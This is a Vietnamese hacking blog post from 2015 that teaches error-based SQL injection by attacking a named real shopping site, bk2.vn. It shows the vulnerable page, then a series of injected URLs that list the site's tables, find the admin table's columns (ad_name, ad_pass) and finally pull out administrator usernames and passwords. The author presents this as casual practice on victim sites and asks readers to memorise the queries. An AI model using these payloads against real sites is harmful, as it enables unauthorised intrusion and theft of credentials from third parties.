Thứ Tư, 1 tháng 7, 2015

Khai thác web lỗi SQL cơ bản

Posted By: Unknown - 17:52
Hic dạo này được xcross cho theo học SQL đưa ra toàn site to và đẹp, hacked thì ít mà lấy được chút thông tin nhạy cảm lại là đa sô


Lần này victim là :

Link dính SQL inject nè các anh em :

Result:


Trích:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string ''.

/danhsach_sp.asp, line 251
Quen thuộc quá phải không

Lấy hết table nha ! Ở bk2.vn các bạn có thể query bình thường để lấy thông tin tables và columns ... ngoài ra các bạn cũng có thể dùng advance SQL cho nhanh -> muốn xài được advance SQL các bạn tự tìm bug trên đó nha

Ở đây mình viết các query basic cho các bạn chưa biết gì tham khảo còn các bạn khác thì chắc dùng tool luôn chứ chả mấy khi query hands made nhỉ

Table đầu tiên nha:

Trích:
http://www.bk2.vn/danhsach_sp.asp?sid=55%20and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password
Kết quả :


Trích:
admin
Lấy table thứ 2 nhá:


Trích:
http://www.bk2.vn/danhsach_sp.asp?sid=55%20and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('admin')))--sp_password
Kết quả là :


Trích:
customer
Table 3 nha:


Trích:
http://www.bk2.vn/danhsach_sp.asp?sid=55%20and1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('admin','customer')))--sp_password
Kết quả là:


Trích:
viewOrder
làm tương tự sẽ dẫn chúng ta đi hết con đường này, content tables:


Trích:
'admin/category/customer/dtproperties/feedback/logo/news/orderDetail/orders/product/subCategory/sysconstraints/syssegments/viewOrder/viewTop10/'
Hè hè thấy cái table admin là ham rùi thui lấy columns trên table này nhé


Trích:
http://www.bk2.vn/danhsach_sp.asp?sid=55%20and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin'))--sp_password
Kết quả:


Trích:
ad_name
Columns tiếp theo nha:


Trích:
http://www.bk2.vn/danhsach_sp.asp?sid=55%20and1=convert(int,(select top 1 column_name from information_schema.columns where table_name='admin' and column_name not in('ad_name')))--sp_password
Kết quả:


Trích:
ad_pass
Tương tự ta thu được chọn gói columns của table admin


Trích:
'ad_id/ad_name/ad_pass/'
Lấy info nào


Trích:
http://www.bk2.vn/danhsach_sp.asp?sid=55%20and1=convert(int,(select top 1 convert(varchar,isnull(convert(varchar,ad_id),'NUL L')) %2b'/'%2bconvert(varchar,isnull(convert(varchar, ad_name),'NULL')) %2b'/'%2bconvert(varchar,isnull(convert(varchar, ad_pass),'NULL')) from admin order by ad_id asc))--sp_password
Kết quả là của các bạn. Ai làm đúng được khen

bài này chỉ dừng ở đây nếu ai làm ko ra thì kiếm tut khác cùng thể loại để đọc nha. Mình chỉ muốn các bạn mới làm quen với SQL injection học thuộc mấy cái query trên thôi.

thank for reading

About Unknown

Organic Theme is officially developed by Templatezy Team. We published High quality Blogger Templates with Awesome Design for blogspot lovers.The very first Blogger Templates Company where you will find Responsive Design Templates.

0 nhận xét :

Đăng nhận xét

Copyright © 2015 IT Vui Vẻ

Designed by Templatezy & Copy Blogger Themes